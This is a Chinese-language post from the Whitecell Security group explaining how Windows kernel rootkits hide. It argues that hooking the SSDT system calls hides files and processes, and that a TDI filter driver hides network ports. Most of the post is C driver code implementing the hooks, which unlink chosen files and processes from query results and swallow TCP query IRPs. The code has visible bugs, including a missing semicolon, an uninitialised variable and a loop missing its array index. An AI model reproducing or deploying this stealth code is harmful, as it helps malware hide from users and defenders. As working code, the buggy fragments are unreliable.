Author : sinister
Email   : sinister@whitecell.org
HomePage: http://www.whitecell.org


  查找进程,目录/文件,注册表等操作系统将最终调用 ZwQueryDirectoryFile,ZwQuerySystemInformation,
ZwXXXValueKey 等函数。要想拦截这些函数达到隐藏目的,需先自己实现以上函数,并修改系统维护的一个
SYSCALL 表使之指向自己预先定义的函数。因 SYSCALL 表在用户层不可见,所以要写 DRIVE 在 RING 0 下
才可修改。关于如何修改已有文章详细介绍过,这里不在详述。(可以参见 sysinternals.com 或 WebCrazy 所
写的文章)。查找端口用的是 TDI 查询。TDI 导出了两个设备 \\Device\\Tcp 与 \\Device\\Udp。我们可以利
用设备过滤驱动的方法写一个 DRIVE 把这两个设备的所有 IRP 包接管过来进行处理后再传给下层驱动。以达到
隐藏任意端口的目的。上述提到的方法不是新东西,是在N年前就已经有的老技术。俺现在将它贴出来只不过为了
充实下版面,灌灌水罢了。高手们还是别看了。下面是我 DRIVE 中隐藏任意进程,目录/文件,端口代码片段。
(注册表操作在 RegMon 中写的很详细,这里就不列出了)



typedef struct _FILETIME
{
  DWORD dwLowDateTime;
  DWORD dwHighDateTime;
} FILETIME;

typedef struct _DirEntry
{
  DWORD dwLenToNext;
  DWORD dwAttr;
  FILETIME ftCreate, ftLastAccess, ftLastWrite;
  DWORD dwUnknown[ 2 ];
  DWORD dwFileSizeLow;
  DWORD dwFileSizeHigh;
  DWORD dwUnknown2[ 3 ];
  WORD wNameLen;
  WORD wUnknown;
  DWORD dwUnknown3;
  WORD wShortNameLen;
  WCHAR swShortName[ 12 ];
  WCHAR suName[ 1 ];
} DirEntry, *PDirEntry;

struct _SYSTEM_THREADS
{
  LARGE_INTEGER     KernelTime;
  LARGE_INTEGER     UserTime;
  LARGE_INTEGER     CreateTime;
  ULONG           WaitTime;
  PVOID           StartAddress;
  CLIENT_ID         ClientIs;
  KPRIORITY         Priority;
  KPRIORITY         BasePriority;
  ULONG           ContextSwitchCount;
  ULONG           ThreadState;
  KWAIT_REASON       WaitReason;
};

struct _SYSTEM_PROCESSES
{
  ULONG           NextEntryDelta;
  ULONG           ThreadCount;
  ULONG           Reserved[6];
  LARGE_INTEGER     CreateTime;
  LARGE_INTEGER     UserTime;
  LARGE_INTEGER     KernelTime;
  UNICODE_STRING     ProcessName;
  KPRIORITY         BasePriority;
  ULONG           ProcessId;
  ULONG           InheritedFromProcessId;
  ULONG           HandleCount;
  ULONG           Reserved2[2];
  VM_COUNTERS       VmCounters;
  IO_COUNTERS       IoCounters;
  struct _SYSTEM_THREADS Threads[1];
};


// 隐藏目录/文件

NTSTATUS HookZwQueryDirectoryFile(
  IN HANDLE hFile,
  IN HANDLE hEvent OPTIONAL,
  IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
  IN PVOID IoApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK pIoStatusBlock,
  OUT PVOID FileInformationBuffer,
  IN ULONG FileInformationBufferLength,
  IN FILE_INFORMATION_CLASS FileInfoClass,
  IN BOOLEAN bReturnOnlyOneEntry,
  IN PUNICODE_STRING PathMask OPTIONAL,
  IN BOOLEAN bRestartQuery)
{
  NTSTATUS         rc;
  CHAR           aProcessName[80];  
  ANSI_STRING       ansiFileName,ansiDirName;
  UNICODE_STRING     uniFileName;
  PP_DIR           ptr;

  WCHAR           ParentDirectory[1024] = {0};
  int             BytesReturned;
  PVOID           Object;

   
  // 执行旧的ZwQueryDirectoryFile函数
  rc = ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))(
        hFile,                  
        hEvent,
        IoApcRoutine,
        IoApcContext,
        pIoStatusBlock,
        FileInformationBuffer,
        FileInformationBufferLength,
        FileInfoClass,
        bReturnOnlyOneEntry,
        PathMask,
        bRestartQuery);

  if(NT_SUCCESS(rc))
  {
    PDirEntry p;
    PDirEntry pLast;
    BOOL bLastOne;
    int found;    
    p = (PDirEntry)FileInformationBuffer;   // 将查找出来结果赋给结构
    pLast = NULL;
   
    do
    {
        bLastOne = !( p->dwLenToNext );
        RtlInitUnicodeString(&uniFileName,p->suName);
        RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
        RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);
        RtlUpperString(&ansiFileName,&ansiDirName);

        found=0;
       
        // 在链表中查找是否包含当前目录
        for(ptr = list_head; ptr != NULL; ptr = ptr->next)
        {
          if (ptr->flag != PTR_HIDEDIR) continue;
          if( RtlCompareMemory( ansiFileName.Buffer, ptr->name,strlen(ptr->name) ) == strlen(ptr->name))
          {
            found=1;
            break;
          }
        }//end for

        // 如果链表中包含当前目录,隐藏
        if(found)
        {
          if(bLastOne)
          {
            if(p == (PDirEntry)FileInformationBuffer )
            {
                rc = 0x80000006;   //隐藏
            }
            else
                pLast->dwLenToNext = 0;
            break;
          }
          else
          {
            int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;
            int iLeft = (DWORD)FileInformationBufferLength - iPos - p->dwLenToNext;
            RtlCopyMemory( (PVOID)p, (PVOID)( (char *)p + p->dwLenToNext ), (DWORD)iLeft );
            continue;
          }
        }
        pLast = p;
        p = (PDirEntry)((char *)p + p->dwLenToNext );
    }while( !bLastOne );
    RtlFreeAnsiString(&ansiDirName);  
    RtlFreeAnsiString(&ansiFileName);
  }
  return(rc);
}


// 隐藏进程

NTSTATUS HookZwQuerySystemInformation(
  IN ULONG SystemInformationClass,
  IN PVOID SystemInformation,
  IN ULONG SystemInformationLength,
  OUT PULONG ReturnLength)
{
  NTSTATUS rc;

  ANSI_STRING process_name,process_uname,process_name1,process_name2;
  BOOL   g_hide_proc = TRUE;
  CHAR   aProcessName[80];
  PP_DIR ptr;        
  int   found;


  // 执行旧的ZwQuerySystemInformation函数

  rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
    SystemInformationClass,
    SystemInformation,
    SystemInformationLength,
    ReturnLength );

  if(NT_SUCCESS(rc ))
  {
    if( g_hide_proc && (5 == SystemInformationClass))
    {
        // 将查找出来结果赋给结构
        struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
        struct _SYSTEM_PROCESSES *prev = NULL;

        // 遍历进程
        while(curr)
        {  
                       
          if((0 < process_name.Length) && (255 > process_name.Length))
          {
            found=0;
            // 遍历链表
            for (ptr=list_head;ptr!=NULL;ptr=ptr->next )
            {  
                if (ptr->flag != PTR_HIDEPROC) continue ;
               
                if (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)
                                   {
                                         found =1;
                                   }
            }
           
            // 判断如果是隐藏进程名则覆盖掉此进程名
            while(found)
            {

                if(prev)
                {
                  if(curr->NextEntryDelta)
                  {
                    prev->NextEntryDelta += curr->NextEntryDelta;
                  }
                  else
                  {
                    prev->NextEntryDelta = 0;
                  }
                 }
                 else
                {
                  if(curr->NextEntryDelta)
                  {
                    (char *)SystemInformation += curr->NextEntryDelta;
                  }
                  else
                  {
                    SystemInformation = NULL;
                  }
                }
                                   
                                   if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);
                                   else
                                   {
                                         curr = NULL;break;
                                   }
                                   // 遍历链表
                                   found = 0;
                                   for (ptr=list_head;ptr!=NULL;ptr=ptr->next )
                                   {  
                                         if (ptr->flag != PTR_HIDEPROC) continue ;
                                         
                                         if (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)
                                         {
                                               found = 1;
                                         }
                                   }
                             }
                       }
                       if(curr != NULL)
                       {
                             prev = curr;
                             if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
                             else curr = NULL;
                       }
                 }
    }
  }
  return(rc);
}



//隐藏端口

  PDEVICE_OBJECT   m_TcpgetDevice;

  PDEVICE_OBJECT   TcpDevice;
  UNICODE_STRING   TcpDeviceName;
  PDRIVER_OBJECT   TcpDriver;
  PDEVICE_OBJECT   TcpgetDevice;
  PDEVICE_OBJECT   FilterDevice
  PDRIVER_DISPATCH Empty;
  NTSTATUS       status;

  Empty = DriverObject->MajorFunction[IRP_MJ_CREATE];
 
  RtlInitUnicodeString( &TcpDeviceName, L"\\Device\\Tcp");

  //得到已有的设备指针

  status = IoGetDeviceObjectPointer( &TcpDeviceName,
                          FILE_ALL_ACCESS,
                            &FileObject,
                          &TcpDevice
                        );


  if(!NT_SUCCESS(status))
  {
    DbgPrint("IoGetDeviceObjectPointer error!\n");
    return status;
  }

  DbgPrint("IoGetDeviceObjectPointer ok!\n");
 
  // 建立设备
  status = IoCreateDevice( DriverObject,
                  sizeof(DEVICE_EXTENSION),
                  NULL,
                  FILE_DEVICE_UNKNOWN,
                  0,
                  FALSE,
                  &FilterDevice
                  );
  if(!NT_SUCCESS(status))
  {
    return status;
  }

  // 加入设备

  TcpgetDevice = IoAttachDeviceToDeviceStack( FilterDevice, TcpDevice);

  if(!TcpgetDevice)
  {
      IoDeleteDevice(FilterDevice);
      DbgPrint("IoAttachDeviceToDeviceStack error!\n");
      return STATUS_SUCCESS;
  }

  m_TcpgetDevice = TcpgetDevice;

  // 加到过滤函数中处理
  for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++)
  {
    if((TcpDriver->MajorFunction!=Empty)&&(DriverObject->MajorFunction==Empty))
    {
      DriverObject->MajorFunction = PassThrough;
             
    }
  }

  ObDereferenceObject(FileObject);


NTSTATUS PassThrough( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{

    NTSTATUS             status;
    PIO_STACK_LOCATION       pIrpStack;

    pIrpStack = IoGetCurrentIrpStackLocation( Irp );


    //如是查询则完成 IRP
    if ( pIrpStack->Parameters.DeviceIoControl.IoControlCode == QUERY_INFORMATION_EX)
    {
        //这里可以近一步判断某个端口

        Irp->IoStatus.Status=STATUS_SUCCESS;
        IoCompleteRequest(Irp,IO_NO_INCREMENT);
        return STATUS_SUCCESS;
    }

    //复制当前 IRP
    IoCopyCurrentIrpStackLocationToNext(Irp);

    IoSetCompletionRoutine( Irp,
                    GenericCompletion,
                    NULL,
                    TRUE,
                    TRUE,
                    TRUE
                  );

    //传递
    return IoCallDriver( m_TcpgetDevice, Irp);

}

关于我们:

WSS(Whitecell Security Systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯。

WSS 主页:http://www.whitecell.org/
WSS 论坛:http://www.whitecell.org/forum/